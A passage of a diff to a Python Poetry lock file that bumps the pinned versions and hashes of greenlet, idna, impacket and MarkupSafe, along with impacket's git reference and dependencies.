"sha256:db32b5348615a04b82240cc67983cb315309e88d444a288934ee6ceaebcad6cc"}, + {file = "greenlet-3.1.1-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dcc62f31eae24de7f8dce72134c8651c58000d3b1868e01392baea7c32c247de"}, + {file = "greenlet-3.1.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:1d3755bcb2e02de341c55b4fca7a745a24a9e7212ac953f6b3a48d117d7257aa"}, + {file = "greenlet-3.1.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:b8da394b34370874b4572676f36acabac172602abf054cbc4ac910219f3340af"}, + {file = "greenlet-3.1.1-cp37-cp37m-win32.whl", hash = "sha256:a0dfc6c143b519113354e780a50381508139b07d2177cb6ad6a08278ec655798"}, + {file = "greenlet-3.1.1-cp37-cp37m-win_amd64.whl", hash = "sha256:54558ea205654b50c438029505def3834e80f0869a70fb15b871c29b4575ddef"}, + {file = "greenlet-3.1.1-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:346bed03fe47414091be4ad44786d1bd8bef0c3fcad6ed3dee074a032ab408a9"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfc59d69fc48664bc693842bd57acfdd490acafda1ab52c7836e3fc75c90a111"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d21e10da6ec19b457b82636209cbe2331ff4306b54d06fa04b7c138ba18c8a81"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:37b9de5a96111fc15418819ab4c4432e4f3c2ede61e660b1e33971eba26ef9ba"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ef9ea3f137e5711f0dbe5f9263e8c009b7069d8a1acea822bd5e9dae0ae49c8"}, + {file = "greenlet-3.1.1-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:85f3ff71e2e60bd4b4932a043fbbe0f499e263c628390b285cb599154a3b03b1"}, + {file = "greenlet-3.1.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:95ffcf719966dd7c453f908e208e14cde192e09fde6c7186c8f1896ef778d8cd"}, + {file = "greenlet-3.1.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:03a088b9de532cbfe2ba2034b2b85e82df37874681e8c470d6fb2f8c04d7e4b7"}, + {file = "greenlet-3.1.1-cp38-cp38-win32.whl", hash = "sha256:8b8b36671f10ba80e159378df9c4f15c14098c4fd73a36b9ad715f057272fbef"}, + {file = "greenlet-3.1.1-cp38-cp38-win_amd64.whl", hash = "sha256:7017b2be767b9d43cc31416aba48aab0d2309ee31b4dbf10a1d38fb7972bdf9d"}, + {file = "greenlet-3.1.1-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:396979749bd95f018296af156201d6211240e7a23090f50a8d5d18c370084dc3"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ca9d0ff5ad43e785350894d97e13633a66e2b50000e8a183a50a88d834752d42"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f6ff3b14f2df4c41660a7dec01045a045653998784bf8cfcb5a525bdffffbc8f"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:94ebba31df2aa506d7b14866fed00ac141a867e63143fe5bca82a8e503b36437"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:73aaad12ac0ff500f62cebed98d8789198ea0e6f233421059fa68a5aa7220145"}, + {file = "greenlet-3.1.1-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:63e4844797b975b9af3a3fb8f7866ff08775f5426925e1e0bbcfe7932059a12c"}, + {file = "greenlet-3.1.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:7939aa3ca7d2a1593596e7ac6d59391ff30281ef280d8632fa03d81f7c5f955e"}, + {file = "greenlet-3.1.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d0028e725ee18175c6e422797c407874da24381ce0690d6b9396c204c7f7276e"}, + {file = "greenlet-3.1.1-cp39-cp39-win32.whl", hash = "sha256:5e06afd14cbaf9e00899fae69b24a32f2196c19de08fcb9f4779dd4f004e5e7c"}, + {file = "greenlet-3.1.1-cp39-cp39-win_amd64.whl", hash = "sha256:3319aa75e0e0639bc15ff54ca327e8dc7a6fe404003496e3c6925cd3142e0e22"}, + {file = "greenlet-3.1.1.tar.gz", hash = "sha256:4ce3ac6cdb6adf7946475d7ef31777c26d94bccc377e070a7986bd2d5c515467"}, ] [package.extras] @@ -838,18 +880,21 @@ files = [ [[package]] name = "idna" -version = "3.7" +version = "3.10" description = "Internationalized Domain Names in Applications (IDNA)" optional = false -python-versions = ">=3.5" +python-versions = ">=3.6" files = [ - {file = "idna-3.7-py3-none-any.whl", hash = "sha256:82fee1fc78add43492d3a1898bfa6d8a904cc97d8427f683ed8e798d07761aa0"}, - {file = "idna-3.7.tar.gz", hash = "sha256:028ff3aadf0609c1fd278d8ea3089299412a7a8b9bd005dd08b9f8285bcb5cfc"}, + {file = "idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3"}, + {file = "idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9"}, ] +[package.extras] +all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2)"] + [[package]] name = "impacket" -version = "0.12.0.dev1+20240725.112949.63079001" +version = "0.13.0.dev0+20240916.171021.65b774de" description = "Network protocols Constructors and Dissectors" optional = false python-versions = "*" @@ -857,14 +902,15 @@ files = [] develop = false [package.dependencies] -charset_normalizer = "*" +charset-normalizer = "*" flask = ">=1.0" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" ldapdomaindump = ">=0.9.0" pyasn1 = ">=0.2.3" -pyasn1_modules = "*" +pyasn1-modules = "*" pycryptodomex = "*" pyOpenSSL = "24.0.0" +pyreadline3 = {version = "*", markers = "sys_platform == \"win32\""} setuptools = "*" six = "*" @@ -872,7 +918,7 @@ six = "*" type = "git" url = "https://github.com/fortra/impacket.git" reference = "HEAD" -resolved_reference = "63079001e2d7f1a5bafcfe59f5a78d42ceefd9ed" +resolved_reference = "65b774ded17a79f1041397202852eab0c24cd039" [[package]] name = "iniconfig" @@ -1094,71 +1140,72 @@ testing = ["coverage", "pytest", "pytest-cov", "pytest-regressions"] [[package]] name = "markupsafe" -version = "2.1.5" +version = "3.0.1" description = "Safely add untrusted strings to HTML/XML markup." optional = false -python-versions = ">=3.7" +python-versions = ">=3.9" files = [ - {file = "MarkupSafe-2.1.5-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:a17a92de5231666cfbe003f0e4b9b3a7ae3afb1ec2845aadc2bacc93ff85febc"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:72b6be590cc35924b02c78ef34b467da4ba07e4e0f0454a2c5907f473fc50ce5"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e61659ba32cf2cf1481e575d0462554625196a1f2fc06a1c777d3f48e8865d46"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2174c595a0d73a3080ca3257b40096db99799265e1c27cc5a610743acd86d62f"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae2ad8ae6ebee9d2d94b17fb62763125f3f374c25618198f40cbb8b525411900"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:075202fa5b72c86ad32dc7d0b56024ebdbcf2048c0ba09f1cde31bfdd57bcfff"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:598e3276b64aff0e7b3451b72e94fa3c238d452e7ddcd893c3ab324717456bad"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:fce659a462a1be54d2ffcacea5e3ba2d74daa74f30f5f143fe0c58636e355fdd"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-win32.whl", hash = "sha256:d9fad5155d72433c921b782e58892377c44bd6252b5af2f67f16b194987338a4"}, - {file = "MarkupSafe-2.1.5-cp310-cp310-win_amd64.whl", hash = "sha256:bf50cd79a75d181c9181df03572cdce0fbb75cc353bc350712073108cba98de5"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:629ddd2ca402ae6dbedfceeba9c46d5f7b2a61d9749597d4307f943ef198fc1f"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b7b716f97b52c5a14bffdf688f971b2d5ef4029127f1ad7a513973cfd818df2"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6ec585f69cec0aa07d945b20805be741395e28ac1627333b1c5b0105962ffced"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b91c037585eba9095565a3556f611e3cbfaa42ca1e865f7b8015fe5c7336d5a5"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7502934a33b54030eaf1194c21c692a534196063db72176b0c4028e140f8f32c"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0e397ac966fdf721b2c528cf028494e86172b4feba51d65f81ffd65c63798f3f"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:c061bb86a71b42465156a3ee7bd58c8c2ceacdbeb95d05a99893e08b8467359a"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:3a57fdd7ce31c7ff06cdfbf31dafa96cc533c21e443d57f5b1ecc6cdc668ec7f"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-win32.whl", hash = "sha256:397081c1a0bfb5124355710fe79478cdbeb39626492b15d399526ae53422b906"}, - {file = "MarkupSafe-2.1.5-cp311-cp311-win_amd64.whl", hash = "sha256:2b7c57a4dfc4f16f7142221afe5ba4e093e09e728ca65c51f5620c9aaeb9a617"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:8dec4936e9c3100156f8a2dc89c4b88d5c435175ff03413b443469c7c8c5f4d1"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:3c6b973f22eb18a789b1460b4b91bf04ae3f0c4234a0a6aa6b0a92f6f7b951d4"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac07bad82163452a6884fe8fa0963fb98c2346ba78d779ec06bd7a6262132aee"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f5dfb42c4604dddc8e4305050aa6deb084540643ed5804d7455b5df8fe16f5e5"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea3d8a3d18833cf4304cd2fc9cbb1efe188ca9b5efef2bdac7adc20594a0e46b"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:d050b3361367a06d752db6ead6e7edeb0009be66bc3bae0ee9d97fb326badc2a"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:bec0a414d016ac1a18862a519e54b2fd0fc8bbfd6890376898a6c0891dd82e9f"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:58c98fee265677f63a4385256a6d7683ab1832f3ddd1e66fe948d5880c21a169"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-win32.whl", hash = "sha256:8590b4ae07a35970728874632fed7bd57b26b0102df2d2b233b6d9d82f6c62ad"}, - {file = "MarkupSafe-2.1.5-cp312-cp312-win_amd64.whl", hash = "sha256:823b65d8706e32ad2df51ed89496147a42a2a6e01c13cfb6ffb8b1e92bc910bb"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:c8b29db45f8fe46ad280a7294f5c3ec36dbac9491f2d1c17345be8e69cc5928f"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ec6a563cff360b50eed26f13adc43e61bc0c04d94b8be985e6fb24b81f6dcfdf"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a549b9c31bec33820e885335b451286e2969a2d9e24879f83fe904a5ce59d70a"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4f11aa001c540f62c6166c7726f71f7573b52c68c31f014c25cc7901deea0b52"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7b2e5a267c855eea6b4283940daa6e88a285f5f2a67f2220203786dfa59b37e9"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:2d2d793e36e230fd32babe143b04cec8a8b3eb8a3122d2aceb4a371e6b09b8df"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ce409136744f6521e39fd8e2a24c53fa18ad67aa5bc7c2cf83645cce5b5c4e50"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-win32.whl", hash = "sha256:4096e9de5c6fdf43fb4f04c26fb114f61ef0bf2e5604b6ee3019d51b69e8c371"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-win_amd64.whl", hash = "sha256:4275d846e41ecefa46e2015117a9f491e57a71ddd59bbead77e904dc02b1bed2"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:656f7526c69fac7f600bd1f400991cc282b417d17539a1b228617081106feb4a"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:97cafb1f3cbcd3fd2b6fbfb99ae11cdb14deea0736fc2b0952ee177f2b813a46"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1f3fbcb7ef1f16e48246f704ab79d79da8a46891e2da03f8783a5b6fa41a9532"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fa9db3f79de01457b03d4f01b34cf91bc0048eb2c3846ff26f66687c2f6d16ab"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ffee1f21e5ef0d712f9033568f8344d5da8cc2869dbd08d87c84656e6a2d2f68"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:5dedb4db619ba5a2787a94d877bc8ffc0566f92a01c0ef214865e54ecc9ee5e0"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:30b600cf0a7ac9234b2638fbc0fb6158ba5bdcdf46aeb631ead21248b9affbc4"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8dd717634f5a044f860435c1d8c16a270ddf0ef8588d4887037c5028b859b0c3"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-win32.whl", hash = "sha256:daa4ee5a243f0f20d528d939d06670a298dd39b1ad5f8a72a4275124a7819eff"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-win_amd64.whl", hash = "sha256:619bc166c4f2de5caa5a633b8b7326fbe98e0ccbfacabd87268a2b15ff73a029"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7a68b554d356a91cce1236aa7682dc01df0edba8d043fd1ce607c49dd3c1edcf"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:db0b55e0f3cc0be60c1f19efdde9a637c32740486004f20d1cff53c3c0ece4d2"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e53af139f8579a6d5f7b76549125f0d94d7e630761a2111bc431fd820e163b8"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:17b950fccb810b3293638215058e432159d2b71005c74371d784862b7e4683f3"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c31f53cdae6ecfa91a77820e8b151dba54ab528ba65dfd235c80b086d68a465"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bff1b4290a66b490a2f4719358c0cdcd9bafb6b8f061e45c7a2460866bf50c2e"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bc1667f8b83f48511b94671e0e441401371dfd0f0a795c7daa4a3cd1dde55bea"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5049256f536511ee3f7e1b3f87d1d1209d327e818e6ae1365e8653d7e3abb6a6"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-win32.whl", hash = "sha256:00e046b6dd71aa03a41079792f8473dc494d564611a8f89bbbd7cb93295ebdcf"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-win_amd64.whl", hash = "sha256:fa173ec60341d6bb97a89f5ea19c85c5643c1e7dedebc22f5181eb73573142c5"}, - {file = "MarkupSafe-2.1.5.tar.gz", hash = "sha256:d283d37a890ba4c1ae73ffadf8046435c76e7bc2247bbb63c00bd1a709c6544b"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:db842712984e91707437461930e6011e60b39136c7331e971952bb30465bc1a1"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3ffb4a8e7d46ed96ae48805746755fadd0909fea2306f93d5d8233ba23dda12a"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67c519635a4f64e495c50e3107d9b4075aec33634272b5db1cde839e07367589"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:48488d999ed50ba8d38c581d67e496f955821dc183883550a6fbc7f1aefdc170"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f31ae06f1328595d762c9a2bf29dafd8621c7d3adc130cbb46278079758779ca"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:80fcbf3add8790caddfab6764bde258b5d09aefbe9169c183f88a7410f0f6dea"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3341c043c37d78cc5ae6e3e305e988532b072329639007fd408a476642a89fd6"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:cb53e2a99df28eee3b5f4fea166020d3ef9116fdc5764bc5117486e6d1211b25"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-win32.whl", hash = "sha256:db15ce28e1e127a0013dfb8ac243a8e392db8c61eae113337536edb28bdc1f97"}, + {file = "MarkupSafe-3.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:4ffaaac913c3f7345579db4f33b0020db693f302ca5137f106060316761beea9"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:26627785a54a947f6d7336ce5963569b5d75614619e75193bdb4e06e21d447ad"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b954093679d5750495725ea6f88409946d69cfb25ea7b4c846eef5044194f583"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:973a371a55ce9ed333a3a0f8e0bcfae9e0d637711534bcb11e130af2ab9334e7"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:244dbe463d5fb6d7ce161301a03a6fe744dac9072328ba9fc82289238582697b"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d98e66a24497637dd31ccab090b34392dddb1f2f811c4b4cd80c230205c074a3"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ad91738f14eb8da0ff82f2acd0098b6257621410dcbd4df20aaa5b4233d75a50"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:7044312a928a66a4c2a22644147bc61a199c1709712069a344a3fb5cfcf16915"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a4792d3b3a6dfafefdf8e937f14906a51bd27025a36f4b188728a73382231d91"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-win32.whl", hash = "sha256:fa7d686ed9883f3d664d39d5a8e74d3c5f63e603c2e3ff0abcba23eac6542635"}, + {file = "MarkupSafe-3.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:9ba25a71ebf05b9bb0e2ae99f8bc08a07ee8e98c612175087112656ca0f5c8bf"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:8ae369e84466aa70f3154ee23c1451fda10a8ee1b63923ce76667e3077f2b0c4"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:40f1e10d51c92859765522cbd79c5c8989f40f0419614bcdc5015e7b6bf97fc5"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5a4cb365cb49b750bdb60b846b0c0bc49ed62e59a76635095a179d440540c346"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ee3941769bd2522fe39222206f6dd97ae83c442a94c90f2b7a25d847d40f4729"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:62fada2c942702ef8952754abfc1a9f7658a4d5460fabe95ac7ec2cbe0d02abc"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:4c2d64fdba74ad16138300815cfdc6ab2f4647e23ced81f59e940d7d4a1469d9"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:fb532dd9900381d2e8f48172ddc5a59db4c445a11b9fab40b3b786da40d3b56b"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:0f84af7e813784feb4d5e4ff7db633aba6c8ca64a833f61d8e4eade234ef0c38"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-win32.whl", hash = "sha256:cbf445eb5628981a80f54087f9acdbf84f9b7d862756110d172993b9a5ae81aa"}, + {file = "MarkupSafe-3.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:a10860e00ded1dd0a65b83e717af28845bb7bd16d8ace40fe5531491de76b79f"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e81c52638315ff4ac1b533d427f50bc0afc746deb949210bc85f05d4f15fd772"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:312387403cd40699ab91d50735ea7a507b788091c416dd007eac54434aee51da"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2ae99f31f47d849758a687102afdd05bd3d3ff7dbab0a8f1587981b58a76152a"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c97ff7fedf56d86bae92fa0a646ce1a0ec7509a7578e1ed238731ba13aabcd1c"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a7420ceda262dbb4b8d839a4ec63d61c261e4e77677ed7c66c99f4e7cb5030dd"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:45d42d132cff577c92bfba536aefcfea7e26efb975bd455db4e6602f5c9f45e7"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:4c8817557d0de9349109acb38b9dd570b03cc5014e8aabf1cbddc6e81005becd"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6a54c43d3ec4cf2a39f4387ad044221c66a376e58c0d0e971d47c475ba79c6b5"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-win32.whl", hash = "sha256:c91b394f7601438ff79a4b93d16be92f216adb57d813a78be4446fe0f6bc2d8c"}, + {file = "MarkupSafe-3.0.1-cp313-cp313-win_amd64.whl", hash = "sha256:fe32482b37b4b00c7a52a07211b479653b7fe4f22b2e481b9a9b099d8a430f2f"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:17b2aea42a7280db02ac644db1d634ad47dcc96faf38ab304fe26ba2680d359a"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:852dc840f6d7c985603e60b5deaae1d89c56cb038b577f6b5b8c808c97580f1d"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0778de17cff1acaeccc3ff30cd99a3fd5c50fc58ad3d6c0e0c4c58092b859396"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:800100d45176652ded796134277ecb13640c1a537cad3b8b53da45aa96330453"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d06b24c686a34c86c8c1fba923181eae6b10565e4d80bdd7bc1c8e2f11247aa4"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:33d1c36b90e570ba7785dacd1faaf091203d9942bc036118fab8110a401eb1a8"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:beeebf760a9c1f4c07ef6a53465e8cfa776ea6a2021eda0d0417ec41043fe984"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:bbde71a705f8e9e4c3e9e33db69341d040c827c7afa6789b14c6e16776074f5a"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-win32.whl", hash = "sha256:82b5dba6eb1bcc29cc305a18a3c5365d2af06ee71b123216416f7e20d2a84e5b"}, + {file = "MarkupSafe-3.0.1-cp313-cp313t-win_amd64.whl", hash = "sha256:730d86af59e0e43ce277bb83970530dd223bf7f2a838e086b50affa6ec5f9295"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:4935dd7883f1d50e2ffecca0aa33dc1946a94c8f3fdafb8df5c330e48f71b132"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e9393357f19954248b00bed7c56f29a25c930593a77630c719653d51e7669c2a"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:40621d60d0e58aa573b68ac5e2d6b20d44392878e0bfc159012a5787c4e35bc8"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 